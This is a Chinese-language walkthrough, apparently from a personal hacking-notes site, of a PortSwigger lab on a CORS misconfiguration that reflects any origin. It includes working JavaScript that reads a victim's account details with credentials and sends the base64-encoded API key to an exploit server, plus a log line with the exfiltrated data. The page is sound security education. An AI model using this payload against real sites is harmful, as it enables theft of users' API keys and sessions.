> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cors/cors-basic-origin-reflection.md).

# CORS 对 Origin 的基础反射

### 带有基本源反射的 CORS 漏洞

使用过于宽松的 CORS 配置（服务器信任任何源），通过一个跨域查询使用 `凭据` 并将响应发送到我们的利用服务器。当 API 管理员密钥提交到利用服务器时，练习即算解决。

<figure><img src="/files/5ba720a3335447c476222bef3807e614fceff5ab" alt=""><figcaption></figcaption></figure>

* 提供的连接凭据： `wiener:peter`.
* 页面端代码从以下位置获取 API 密钥： `/accountDetails` 并显示：

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="/files/d530a5a37289e6cea9d3cb058b4ddf01f89d00bc" alt=""><figcaption></figcaption></figure>

标头表明 `Access-Control-Allow-Credentials: true` (服务器接受带有 cookie/凭据的请求。)

<figure><img src="/files/c4b03eb6631c777584393cefd136993216624025" alt=""><figcaption></figcaption></figure>

* 通过测试带有以下内容的请求， `Origin: jord4n.pro` 标头，响应会返回（反射的来源被接受）。

```javascript
Origin: jord4n.pro
```

* 服务器会反射/允许所发送的来源，因此攻击者控制的页面可以执行一个 `XMLHttpRequest` 或 `fetch` 更改为 `/accountDetails` ，并包含受害者的 cookie（`withCredentials = true`），并获取包含 API 密钥的 JSON 响应。

<figure><img src="/files/25e1c8b70cd3fe901c520f53bc84f43b5d17d9a4" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/bf4e3f18a0420b69a0a0642efc646f9a8edb91de" alt="" width="483"><figcaption></figcaption></figure>

一旦读取到响应，就可以将其传输到服务器（例如通过 base64 编码）以便收集。

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/a2bac9bb4a3094411518033a3ccbcba0144d36fd" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

操作服务器收到了一个包含编码后响应的 GET 请求，例如：

<figure><img src="/files/d6340fa1db6405bed9a9e929852e4e4b20e5bc86" alt=""><figcaption></figcaption></figure>


---

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```
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